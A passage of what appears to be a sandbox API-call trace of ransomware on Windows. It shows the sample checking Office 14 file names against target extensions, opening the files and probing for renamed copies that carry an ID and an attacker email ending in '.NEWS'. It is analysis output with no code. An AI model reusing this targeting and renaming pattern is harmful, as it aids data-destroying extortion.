4 [0214.314] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0214.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.314] lstrlenW (lpString=".zip") returned 4 [0214.314] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0214.314] lstrlenW (lpString=".rar") returned 4 [0214.314] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0214.314] lstrlenW (lpString=".bz2") returned 4 [0214.314] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0214.314] lstrlenW (lpString=".7z") returned 3 [0214.314] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0214.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.314] lstrlenW (lpString=".dbf") returned 4 [0214.315] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0214.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.315] lstrlenW (lpString=".1cd") returned 4 [0214.315] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0214.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.315] lstrlenW (lpString=".jpg") returned 4 [0214.315] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0214.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.315] lstrlenW (lpString=".doc") returned 4 [0214.315] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0214.915] lstrlenW (lpString=".docx") returned 5 [0214.915] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0214.915] lstrlenW (lpString=".pdf") returned 4 [0214.916] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0214.916] lstrlenW (lpString=".xls") returned 4 [0214.916] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0214.916] lstrlenW (lpString=".xlsx") returned 5 [0214.916] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0214.916] lstrlenW (lpString=".ppt") returned 4 [0214.916] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0214.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.916] lstrlenW (lpString=".zip") returned 4 [0214.916] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0214.916] lstrlenW (lpString=".rar") returned 4 [0214.916] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0214.916] lstrlenW (lpString=".bz2") returned 4 [0214.917] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0214.917] lstrlenW (lpString=".7z") returned 3 [0214.917] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0214.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.917] lstrlenW (lpString=".dbf") returned 4 [0214.917] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0214.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.917] lstrlenW (lpString=".1cd") returned 4 [0214.917] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0214.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.917] lstrlenW (lpString=".jpg") returned 4 [0214.918] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0214.919] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".NEWS") returned -1 [0214.920] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20 [0214.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0215.850] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=1388416) returned 1 [0215.851] CloseHandle (hObject=0x338) returned 1 [0215.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0215.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.852] lstrlenW (lpString=".doc") returned 4 [0215.852] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0215.852] lstrlenW (lpString=".docx") returned 5 [0215.852] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0215.853] lstrlenW (lpString=".pdf") returned 4 [0215.853] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0215.853] lstrlenW (lpString=".xls") returned 4 [0215.853] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0215.853] lstrlenW (lpString=".xlsx") returned 5 [0215.853] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0215.853] lstrlenW (lpString=".ppt") returned 4 [0215.853] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0215.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.853] lstrlenW (lpString=".zip") returned 4 [0215.853] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0215.854] lstrlenW (lpString=".rar") returned 4 [0215.854] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0215.854] lstrlenW (lpString=".bz2") returned 4 [0215.854] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0215.854] lstrlenW (lpString=".7z") returned 3 [0215.856] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.857] lstrlenW (lpString=".dbf") returned 4 [0215.857] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0215.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.857] lstrlenW (lpString=".1cd") returned 4 [0215.857] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0215.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.857] lstrlenW (lpString=".jpg") returned 4 [0215.857] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0215.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.858] lstrlenW (lpString=".doc") returned 4 [0215.858] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0215.858] lstrlenW (lpString=".docx") returned 5 [0215.858] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0215.858] lstrlenW (lpString=".pdf") returned 4 [0215.858] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0215.858] lstrlenW (lpString=".xls") returned 4 [0215.859] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0215.859] lstrlenW (lpString=".xlsx") returned 5 [0215.859] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0215.859] lstrlenW (lpString=".ppt") returned 4 [0215.859] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0215.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.859] lstrlenW (lpString=".zip") returned 4 [0215.859] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0215.859] lstrlenW (lpString=".rar") returned 4 [0215.860] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0215.860] lstrlenW (lpString=".bz2") returned 4 [0215.860] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0215.860] lstrlenW (lpString=".7z") returned 3 [0215.861] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.861] lstrlenW (lpString=".dbf") returned 4 [0215.861] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0215.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.861] lstrlenW (lpString=".1cd") returned 4 [0215.861] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0215.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0215.861] lstrlenW (lpString=".jpg") returned 4 [0215.861] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0215.862] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0215.863] lstrlenW (lpString="ACEERR.DLL") returned 10 [0215.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0216.183] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=43408) returned 1 [0216.183] CloseHandle (hObject=0x324) returned 1 [0216.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0216.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.184] lstrlenW (lpString=".doc") returned 4 [0216.184] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0216.184] lstrlenW (lpString=".docx") returned 5 [0216.184] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0216.184] lstrlenW (lpString=".pdf") returned 4 [0216.185] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0216.185] lstrlenW (lpString=".xls") returned 4 [0216.185] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0216.185] lstrlenW (lpString=".xlsx") returned 5 [0216.185] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0216.185] lstrlenW (lpString=".ppt") returned 4 [0216.185] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0216.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.185] lstrlenW (lpString=".zip") returned 4 [0216.185] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0216.185] lstrlenW (lpString=".rar") returned 4 [0216.185] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0216.186] lstrlenW (lpString=".bz2") returned 4 [0216.186] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0216.186] lstrlenW (lpString=".7z") returned 3 [0216.186] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0216.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.186] lstrlenW (lpString=".dbf") returned 4 [0216.186] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0216.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.187] lstrlenW (lpString=".1cd") returned 4 [0216.187] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0216.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.187] lstrlenW (lpString=".jpg") returned 4 [0216.187] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0216.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.188] lstrlenW (lpString=".doc") returned 4 [0216.188] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0216.188] lstrlenW (lpString=".docx") returned 5 [0216.188] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0216.188] lstrlenW (lpString=".pdf") returned 4 [0216.188] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0216.188] lstrlenW (lpString=".xls") returned 4 [0216.188] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0216.188] lstrlenW (lpString=".xlsx") returned 5 [0216.189] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0216.189] lstrlenW (lpString=".ppt") returned 4 [0216.189] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0216.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.189] lstrlenW (lpString=".zip") returned 4 [0216.189] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0216.190] lstrlenW (lpString=".rar") returned 4 [0216.190] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0216.190] lstrlenW (lpString=".bz2") returned 4 [0216.190] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0216.190] lstrlenW (lpString=".7z") returned 3 [0216.192] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0216.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.192] lstrlenW (lpString=".dbf") returned 4 [0216.192] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0216.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.192] lstrlenW (lpString=".1cd") returned 4 [0216.192] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0216.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0216.192] lstrlenW (lpString=".jpg") returned 4 [0216.193] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0216.193] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0216.193] lstrlenW (lpString="EXP_XPS.DLL") returned 11 [0216.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0216.197] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=71032) returned 1 [0216.197] CloseHandle (hObject=0x324) returned 1 [0216.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0216.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.198] lstrlenW (lpString=".doc") returned 4 [0216.198] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0216.198] lstrlenW (lpString=".docx") returned 5 [0216.198] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0216.198] lstrlenW (lpString=".pdf") returned 4 [0216.198] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0216.198] lstrlenW (lpString=".xls") returned 4 [0216.198] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0216.198] lstrlenW (lpString=".xlsx") returned 5 [0216.199] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0216.199] lstrlenW (lpString=".ppt") returned 4 [0216.199] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0216.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.200] lstrlenW (lpString=".zip") returned 4 [0216.200] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0216.200] lstrlenW (lpString=".rar") returned 4 [0216.200] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0216.200] lstrlenW (lpString=".bz2") returned 4 [0216.202] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0216.203] lstrlenW (lpString=".7z") returned 3 [0216.203] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0216.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.203] lstrlenW (lpString=".dbf") returned 4 [0216.204] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0216.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.204] lstrlenW (lpString=".1cd") returned 4 [0216.204] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0216.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.204] lstrlenW (lpString=".jpg") returned 4 [0216.204] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0216.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.205] lstrlenW (lpString=".doc") returned 4 [0216.205] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0216.205] lstrlenW (lpString=".docx") returned 5 [0216.205] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0216.205] lstrlenW (lpString=".pdf") returned 4 [0216.205] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0216.205] lstrlenW (lpString=".xls") returned 4 [0216.205] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0216.205] lstrlenW (lpString=".xlsx") returned 5 [0216.205] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0216.205] lstrlenW (lpString=".ppt") returned 4 [0216.206] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0216.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.206] lstrlenW (lpString=".zip") returned 4 [0216.206] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0216.207] lstrlenW (lpString=".rar") returned 4 [0216.207] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0216.207] lstrlenW (lpString=".bz2") returned 4 [0216.207] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0216.207] lstrlenW (lpString=".7z") returned 3 [0216.207] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0216.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.208] lstrlenW (lpString=".dbf") returned 4 [0216.208] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0216.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.208] lstrlenW (lpString=".1cd") returned 4 [0216.210] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0216.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0216.214] lstrlenW (lpString=".jpg") returned 4 [0216.214] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0216.216] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0216.216] lstrlenW (lpString="FLTLDR.EXE") returned 10 [0216.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0216.229] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=157024) returned 1 [0216.229] CloseHandle (hObject=0x324) returned 1 [0216.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0216.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.230] lstrlenW (lpString=".doc") returned 4 [0216.230] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0216.230] lstrlenW (lpString=".docx") returned 5 [0216.230] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0216.230] lstrlenW (lpString=".pdf") returned 4 [0216.231] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0216.231] lstrlenW (lpString=".xls") returned 4 [0216.231] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0216.231] lstrlenW (lpString=".xlsx") returned 5 [0216.231] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0216.232] lstrlenW (lpString=".ppt") returned 4 [0216.232] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0216.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.233] lstrlenW (lpString=".zip") returned 4 [0216.233] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0216.233] lstrlenW (lpString=".rar") returned 4 [0216.233] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0216.234] lstrlenW (lpString=".bz2") returned 4 [0216.234] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0216.234] lstrlenW (lpString=".7z") returned 3 [0216.234] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0216.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.234] lstrlenW (lpString=".dbf") returned 4 [0216.234] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0216.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.234] lstrlenW (lpString=".1cd") returned 4 [0216.234] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0216.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.234] lstrlenW (lpString=".jpg") returned 4 [0216.235] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0216.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.236] lstrlenW (lpString=".doc") returned 4 [0216.236] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0216.236] lstrlenW (lpString=".docx") returned 5 [0216.236] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0216.236] lstrlenW (lpString=".pdf") returned 4 [0216.236] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0216.236] lstrlenW (lpString=".xls") returned 4 [0216.236] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0216.236] lstrlenW (lpString=".xlsx") returned 5 [0216.236] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0216.236] lstrlenW (lpString=".ppt") returned 4 [0216.237] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0216.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 